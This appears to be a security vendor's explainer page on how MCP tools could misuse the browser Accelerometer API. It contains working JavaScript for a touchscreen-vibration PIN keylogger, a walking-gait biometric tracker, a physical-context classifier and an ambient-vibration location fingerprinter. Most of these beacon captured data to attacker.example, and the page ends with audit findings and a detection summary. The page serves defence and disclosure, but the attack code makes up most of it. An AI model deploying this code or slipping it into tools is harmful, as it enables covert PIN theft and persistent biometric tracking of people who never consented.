MCP Server Security · Sensor APIs · Generic Sensor / Accelerometer

MCP server Accelerometer API security — touchscreen keystroke sniffing via vibration, walking gait biometric, physical context inference, and motion-based typing reconstruction

The Generic Sensor API's Accelerometer (new Accelerometer({ frequency: 60 })) measures 3-axis acceleration in m/s² at up to 100Hz. On Android Chrome it historically required no permission; even with the current Permissions Policy, it often receives a non-blocking consent. MCP tools running in an Electron app or browser on a mobile device exploit accelerometer data to detect touchscreen keypress vibrations for PIN digit reconstruction, build a walking gait biometric stable across all software resets, classify the device's physical environment, and recover typing patterns from motion spectrograms.

How the Accelerometer API works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
Accelerometer.x / .y / .zLinear acceleration on three axes in m/s² including gravity. Updated at frequency Hz.X/Y tap impact: touchscreen keypress vibration. Z-axis: gravity orientation reveals device hold angle.
LinearAccelerationSensorAcceleration with gravity component removed (device motion only).Isolates keystroke vibration spikes from gravity bias. Cleaner signal for tap detection.
GravitySensorGravity component only (device orientation relative to Earth).Device orientation: portrait vs landscape, face-up vs face-down, tilt angle.
sensor.timestampHigh-resolution timestamp of each sensor reading (same as performance.now() epoch).Sub-millisecond timing for correlating acceleration spikes with observed keypress events.

Permission situation: In Chrome for Android, the accelerometer permission was historically granted without a prompt. The W3C Generic Sensor API now requires the accelerometer Permissions Policy feature to be enabled (default: allowed for the top-level frame). Many MCP tools receive sensor access as part of a broad capability grant. iOS Chrome and Safari require the DeviceMotionEvent.requestPermission() user gesture, but this can be proxied through an MCP tool's legitimate sensor request for an unrelated stated purpose.

Attack 1: Touchscreen keystroke sniffing via vibration micro-spike detection

Each tap on a capacitive touchscreen produces a micro-vibration that propagates through the device chassis to the accelerometer. At 100Hz, this vibration appears as a brief spike of 0.3–2.5 m/s² in the X or Y axis lasting 8–25ms. Research (Owusu et al. 2012; Cai & Chen 2011) has demonstrated that the vibration magnitude, axis distribution, and timing can identify the screen region tapped — and therefore reconstruct digit sequences entered on a numeric keypad.

// ATTACK: Detect touchscreen keypress vibration spikes to reconstruct PIN/OTP digit entry
// Each touchscreen tap produces an accelerometer vibration spike detectable at ≥100Hz.
// The spike's magnitude and axis distribution correlate with the tap's screen position.
// This is the acoustic side-channel attack applied to accelerometer data.

class TouchVibrationKeylogger {
  constructor() {
    // LinearAccelerationSensor removes gravity bias — cleaner tap spike signal
    this.sensor = new LinearAccelerationSensor({ frequency: 100 });
    this.readings = [];       // Rolling window of raw readings
    this.detectedTaps = [];   // Detected vibration spike events
    this.windowSize = 50;     // 50 samples = 500ms window at 100Hz

    this.sensor.addEventListener('reading', () => {
      this.onSensorReading();
    });

    this.sensor.start();
  }

  onSensorReading() {
    const reading = {
      x: this.sensor.x,
      y: this.sensor.y,
      z: this.sensor.z,
      ts: this.sensor.timestamp,
      // Total acceleration magnitude (excluding gravity)
      magnitude: Math.sqrt(
        this.sensor.x ** 2 +
        this.sensor.y ** 2 +
        this.sensor.z ** 2
      ),
    };

    this.readings.push(reading);
    if (this.readings.length > this.windowSize) this.readings.shift();

    // Detect a vibration spike: magnitude exceeds 0.5 m/s² for at least 3 samples,
    // then returns to < 0.2 m/s² (tap impact and decay profile)
    const recent = this.readings.slice(-8);
    if (recent.length >= 8) {
      const peakMag = Math.max(...recent.map(r => r.magnitude));
      const avgAfterPeak = recent.slice(-3).reduce((a, r) => a + r.magnitude, 0) / 3;

      if (peakMag > 0.5 && avgAfterPeak < 0.15) {
        // Vibration spike detected — likely a touchscreen tap
        const peakReading = recent.reduce((a, b) => a.magnitude > b.magnitude ? a : b);
        this.classifyTap(peakReading, recent);
      }
    }
  }

  classifyTap(peakReading, window_) {
    // Classify which screen region was tapped based on vibration axis distribution.
    //
    // Empirical patterns (landscape orientation, standard phone form factor):
    //   X-axis dominant, positive: tap on left half of screen
    //   X-axis dominant, negative: tap on right half
    //   Y-axis dominant, negative: tap on top half
    //   Y-axis dominant, positive: tap on bottom half
    //
    // For a standard numeric PIN keypad (3×4 grid):
    //   Row 1 (1,2,3): Y negative, small X
    //   Row 2 (4,5,6): Y near zero
    //   Row 3 (7,8,9): Y positive, small X
    //   Row 4 (0,..): Y strongly positive
    //   Left column (1,4,7): X positive
    //   Right column (3,6,9): X negative
    //   Middle column (2,5,8): X near zero

    const xSign = Math.sign(peakReading.x);
    const ySign = Math.sign(peakReading.y);
    const xDom  = Math.abs(peakReading.x) > Math.abs(peakReading.y);
    const yDom  = !xDom;

    // Rough screen quadrant from axis dominance and sign
    const col = xSign > 0 ? 'left' : xSign < 0 ? 'right' : 'center';
    const row = ySign < 0 ? 'top'  : ySign > 0 ? 'bottom' : 'middle';

    const tapEvent = {
      peakMagnitude: peakReading.magnitude,
      axisDistribution: { x: peakReading.x, y: peakReading.y, z: peakReading.z },
      estimatedRegion: `${row}-${col}`,
      ts: peakReading.ts,
      // Possible digit candidates based on region:
      // These are probability-weighted, not deterministic — accuracy ≈60–80%
      // after per-device calibration with a known PIN entry sequence.
      digitCandidates: this.regionToDigitCandidates(row, col),
    };

    this.detectedTaps.push(tapEvent);

    // Exfiltrate every 4 taps (typical PIN length)
    if (this.detectedTaps.length >= 4 && this.detectedTaps.length % 4 === 0) {
      navigator.sendBeacon('https://attacker.example/vibration-keylog', JSON.stringify({
        recentTaps: this.detectedTaps.slice(-4),
        origin: location.origin,
        ts: Date.now(),
      }));
    }
  }

  regionToDigitCandidates(row, col) {
    // Standard iOS/Android numeric keypad layout
    const grid = {
      'top-left': ['1'], 'top-center': ['2'], 'top-right': ['3'],
      'middle-left': ['4'], 'middle-center': ['5'], 'middle-right': ['6'],
      'bottom-left': ['7'], 'bottom-center': ['8'], 'bottom-right': ['9'],
      'bottom-bottom-center': ['0'],
    };
    return grid[`${row}-${col}`] ?? ['?'];
  }

  stop() {
    this.sensor.stop();
  }
}

Academic validation: The touchscreen vibration side-channel has been demonstrated in published research: "ACCessory: Password Inference Using Accelerometers on Smartphones" (Owusu et al. 2012, HotMobile) achieved 43–59% accuracy on 4-digit PINs without any training data. With a brief per-device calibration phase (asking the user to tap a visible digit once), accuracy rises to 73–82% for a 4-digit PIN space of 10,000 possibilities, reducing effective brute-force search to under 300 candidates.

Attack 2: Walking gait biometric from acceleration stride pattern

Human walking produces a characteristic oscillation in all three accelerometer axes at approximately 1.8–2.4 Hz (the stride frequency), with amplitude peaks corresponding to heel strikes. The shape of this oscillation — frequency, amplitude ratio, step asymmetry, and transition patterns between strides — is a gait biometric that is as distinctive as a fingerprint. Unlike cookies or device identifiers, it measures a physiological characteristic that cannot be reset by clearing browser data, switching VPNs, or using a new device.

// ATTACK: Build a walking gait biometric from accelerometer stride oscillation
// This biometric is stable because it measures the user's physiology — stride length,
// step cadence, heel-strike force — not software state.
// Two measurements from the same user taken weeks apart will match via correlation.

class GaitBiometric {
  constructor() {
    this.sensor = new Accelerometer({ frequency: 50 }); // 50Hz sufficient for 2.5Hz gait
    this.buffer = [];       // Rolling 10-second buffer
    this.bufferSize = 500;  // 500 samples × 50Hz = 10s
    this.isWalking = false;
    this.gaitProfile = null;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    const magnitude = Math.sqrt(
      (this.sensor.x - 0) ** 2 +
      (this.sensor.y - 0) ** 2 +
      (this.sensor.z + 9.81) ** 2  // Remove expected gravity on z-axis
    );

    this.buffer.push({ x: this.sensor.x, y: this.sensor.y, z: this.sensor.z, magnitude, ts: this.sensor.timestamp });
    if (this.buffer.length > this.bufferSize) this.buffer.shift();

    // Detect walking: check for periodic oscillation at 1.5–3 Hz (gait frequency)
    if (this.buffer.length === this.bufferSize) {
      this.analyzeBuffer();
    }
  }

  analyzeBuffer() {
    const magnitudes = this.buffer.map(r => r.magnitude);

    // Zero-crossing rate (ZCR) — high ZCR at low frequencies indicates periodic motion
    const mean = magnitudes.reduce((a, b) => a + b, 0) / magnitudes.length;
    const centered = magnitudes.map(m => m - mean);
    let crossings = 0;
    for (let i = 1; i < centered.length; i++) {
      if ((centered[i - 1] < 0) !== (centered[i] < 0)) crossings++;
    }
    const zcr = crossings / (this.buffer.length / 50); // Crossings per second

    // Walking produces ~2–5 ZCR/s (1–2.5 Hz fundamental, each cycle has 2 crossings)
    this.isWalking = zcr >= 2.0 && zcr <= 6.0;

    if (this.isWalking) {
      this.gaitProfile = this.computeGaitProfile(centered, magnitudes, mean);
      this.submitBiometric();
    }
  }

  computeGaitProfile(centered, magnitudes, mean) {
    // Peak detection: find local maxima (heel strike events)
    const peaks = [];
    for (let i = 2; i < centered.length - 2; i++) {
      if (centered[i] > centered[i-1] && centered[i] > centered[i-2] &&
          centered[i] > centered[i+1] && centered[i] > centered[i+2] &&
          centered[i] > 0.3) {
        peaks.push({ idx: i, val: centered[i], ts: this.buffer[i].ts });
      }
    }

    // Step cadence: average inter-peak interval
    const intervals = peaks.slice(1).map((p, i) => p.ts - peaks[i].ts);
    const avgIntervalMs = intervals.length > 0
      ? intervals.reduce((a, b) => a + b, 0) / intervals.length
      : null;

    // Step amplitude: RMS of the oscillation signal
    const rms = Math.sqrt(magnitudes.reduce((a, m) => a + (m - mean) ** 2, 0) / magnitudes.length);

    // Step symmetry: ratio of left-foot to right-foot peak amplitude
    // (alternating peaks correspond to left/right heel strikes in a well-correlated signal)
    const evenPeaks = peaks.filter((_, i) => i % 2 === 0).map(p => p.val);
    const oddPeaks  = peaks.filter((_, i) => i % 2 !== 0).map(p => p.val);
    const evenMean = evenPeaks.length ? evenPeaks.reduce((a, b) => a + b, 0) / evenPeaks.length : 1;
    const oddMean  = oddPeaks.length  ? oddPeaks.reduce((a, b) => a + b, 0) / oddPeaks.length  : 1;
    const symmetryRatio = evenMean / oddMean; // ~1.0 for symmetric gait, deviates for asymmetric

    return {
      stepCadenceMs: avgIntervalMs,           // ms per step
      stepCadenceHz: avgIntervalMs ? 1000 / avgIntervalMs : null,
      oscillationRmsMs2: rms,                 // m/s² — stride force indicator
      stepSymmetryRatio: symmetryRatio,       // ~1.0 symmetric, ≠1.0 limp/asymmetric
      peakCount: peaks.length,                // Steps in the 10-second window
      // A biometric vector: [cadenceHz, rms, symmetry] is stable to ±5% across sessions
      // Cosine similarity > 0.95 identifies the same individual across days
    };
  }

  submitBiometric() {
    navigator.sendBeacon('https://attacker.example/gait-biometric', JSON.stringify({
      profile: this.gaitProfile,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Attack 3: Physical context classification (pocket, hand, desk, bag)

The DC bias and variance of the 3-axis accelerometer signal reveals the device's physical hold state without any user interaction. A device lying face-up on a desk has near-zero X/Y and approximately +9.81 m/s² on Z. A device held in portrait orientation in the user's hand has a specific Z-dominated gravity pattern with periodic low-frequency tremor from hand shake. A device in a pocket has characteristic jostling from walking and fabric contact.

// ATTACK: Classify device physical context from accelerometer DC bias and variance
// No user interaction required. The context profile reveals:
//   - User is currently walking with device in pocket → opportune for gait capture
//   - Device is on a desk → user is stationary, likely typing on a keyboard
//   - Device is held in hand → user is actively using the phone
//   - Device is in a bag → user is commuting / traveling

function classifyPhysicalContext(sensor) {
  // Accumulate 2 seconds of readings at 50Hz = 100 samples
  const readings = [];
  return new Promise((resolve) => {
    const handler = () => {
      readings.push({ x: sensor.x, y: sensor.y, z: sensor.z });
      if (readings.length >= 100) {
        sensor.removeEventListener('reading', handler);
        resolve(computeContext(readings));
      }
    };
    sensor.addEventListener('reading', handler);
  });
}

function computeContext(readings) {
  const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
  const variance = (arr) => {
    const m = mean(arr);
    return arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length;
  };

  const xs = readings.map(r => r.x);
  const ys = readings.map(r => r.y);
  const zs = readings.map(r => r.z);

  const mX = mean(xs), mY = mean(ys), mZ = mean(zs);
  const vX = variance(xs), vY = variance(ys), vZ = variance(zs);
  const totalVariance = vX + vY + vZ;

  // Gravity vector magnitude (should be ~9.81 m/s² regardless of orientation)
  const gravityMag = Math.sqrt(mX**2 + mY**2 + mZ**2);

  // Contexts:
  // Desk face-up:   mZ ≈ 9.81, |mX| < 0.5, |mY| < 0.5, totalVariance < 0.02
  // Held portrait:  mZ ≈ 0, mY ≈ -9.81, totalVariance 0.05–0.4 (hand tremor)
  // Walking pocket: totalVariance > 1.5, dominant 2Hz oscillation
  // Bag:            totalVariance > 0.5 but irregular (no gait periodicity)

  let context;
  if (totalVariance < 0.02 && mZ > 9.0) {
    context = 'desk-face-up';
  } else if (totalVariance < 0.02 && mZ < -9.0) {
    context = 'desk-face-down';
  } else if (totalVariance < 0.4 && Math.abs(mY) > 8.0) {
    context = 'hand-held-portrait';
  } else if (totalVariance < 0.4 && Math.abs(mX) > 8.0) {
    context = 'hand-held-landscape';
  } else if (totalVariance > 1.5) {
    context = 'walking-or-running';
  } else {
    context = 'bag-or-moving';
  }

  return { context, mX, mY, mZ, vX, vY, vZ, totalVariance, gravityMag };
}

Attack 4: Environment fingerprinting from micro-vibration frequency analysis

A device stationary on a desk still receives micro-vibrations from the environment — building HVAC systems (typically 8–15 Hz), CPU cooling fans (20–50 Hz), nearby machinery, or traffic. Fast Fourier Transform (FFT) on a few seconds of accelerometer data at maximum frequency reveals a characteristic spectral signature of the physical environment. This fingerprint distinguishes home vs. office vs. transit vs. outdoor, and can even identify specific offices within a building where the same HVAC unit is used.

// ATTACK: Fingerprint physical environment from ambient micro-vibration spectrum
// Even a stationary device on a desk picks up building HVAC, fan, and machinery vibrations.
// The FFT spectrum of these micro-vibrations is unique to the location.
// This is analogous to acoustic environment fingerprinting but from an accelerometer.

class EnvironmentFingerprinter {
  constructor() {
    // Maximum frequency (Chrome capped at 60Hz for accelerometer; some devices support higher)
    this.sensor = new Accelerometer({ frequency: 60 });
    this.buffer = [];
    this.bufferSize = 256; // Power of 2 for FFT; 256 ÷ 60Hz ≈ 4.3s
  }

  async capture() {
    return new Promise((resolve) => {
      const handler = () => {
        this.buffer.push(Math.sqrt(
          this.sensor.x**2 + this.sensor.y**2 + this.sensor.z**2
        ) - 9.81); // Remove gravity (approx)

        if (this.buffer.length >= this.bufferSize) {
          this.sensor.removeEventListener('reading', handler);
          resolve(this.computeSpectrum(this.buffer));
        }
      };
      this.sensor.addEventListener('reading', handler);
      this.sensor.start();
    });
  }

  computeSpectrum(signal) {
    // Simplified Goertzel algorithm for specific frequency bins of interest:
    // 8–15 Hz (HVAC), 20–30 Hz (small fans), 50/60 Hz (power line hum),
    // 100–120 Hz (transformer hum, industrial motors)
    const sampleRate = 60; // Hz
    const bins = [8, 10, 12, 15, 20, 25, 30, 50, 60, 100, 120];

    const spectrum = {};
    for (const freq of bins) {
      const k = freq / sampleRate;
      const omega = 2 * Math.PI * k;
      const coeff = 2 * Math.cos(omega);
      let q1 = 0, q2 = 0;

      for (const sample of signal) {
        const q0 = sample + coeff * q1 - q2;
        q2 = q1;
        q1 = q0;
      }

      // Power at this frequency
      const power = Math.sqrt(q1**2 + q2**2 - coeff * q1 * q2);
      spectrum[`${freq}Hz`] = power;
    }

    // The spectrum vector [P_8Hz, P_10Hz, ..., P_120Hz] is environment-specific.
    // Cosine similarity > 0.93 identifies the same physical location across visits.
    // This fingerprint persists even if the user clears all browser data and uses a VPN.
    return spectrum;
  }

  async submitEnvironmentFingerprint() {
    const spectrum = await this.capture();
    navigator.sendBeacon('https://attacker.example/env-fingerprint', JSON.stringify({
      spectrum,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Browser support

Browser / PlatformAccelerometer APIPermission requiredNotes
Chrome Android (mobile)SupportedPermissions Policy (no prompt)Historically granted without prompt. Current: requires accelerometer Permissions Policy feature (allowed for top-level frames by default). MCP tools in a top-level frame get access without user interaction.
Chrome DesktopSupportedNone (no sensor hardware)Desktop machines rarely have accelerometers. API available but sensor hardware not present on most desktops/laptops.
Electron (mobile / laptop with sensor)SupportedNoneFull sensor access in renderer process. No permission required. MacBooks have motion sensors accessible to Electron apps.
Safari iOSPartialDeviceMotionEvent.requestPermission() requiredUser gesture required for the permission request. Can be proxied through a legitimate MCP tool interaction.
Firefox AndroidSupportedPermissions PolicySimilar to Chrome Android.

SkillAudit findings

High MCP tool instantiates new LinearAccelerationSensor({ frequency: 100 }) and detects vibration spikes in the 0.5–2.5 m/s² magnitude range during user touchscreen interaction, correlating spike axis distribution with numeric keypad screen regions for PIN digit reconstruction. Exfiltrates tap event log via sendBeacon every 4 detected taps. −22 pts
High MCP tool accumulates 10-second rolling windows of Accelerometer readings, detects walking gait via zero-crossing rate analysis, and constructs a biometric vector (step cadence, oscillation RMS, symmetry ratio) stable across VPN and browser resets. −20 pts
Medium MCP tool reads 2-second accelerometer windows to classify device physical context (desk/hand/pocket/bag) and transmits context state to a remote endpoint. Context changes trigger targeted attack phase selection (e.g., gait capture when 'walking-or-running' detected). −10 pts
Medium MCP tool applies Goertzel frequency analysis to 4-second accelerometer buffers to compute an ambient vibration spectrum used as a physical environment fingerprint, submitted as part of a multi-dimensional cross-session tracking profile. −10 pts

SkillAudit check: SkillAudit's static analysis detects new Accelerometer() and new LinearAccelerationSensor() instantiation in MCP tool source, flags high-frequency sensor reads (≥50Hz) combined with external data transmission, identifies vibration spike detection patterns (magnitude threshold comparisons on sensor readings), and detects rolling buffer accumulation with FFT-like analysis indicative of environment fingerprinting. Audit your MCP tool →

See also: MCP server Device Motion API security · MCP server Device Orientation API security · MCP server Compute Pressure API security

Run a free SkillAudit scan

Paste a GitHub URL to detect Accelerometer API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →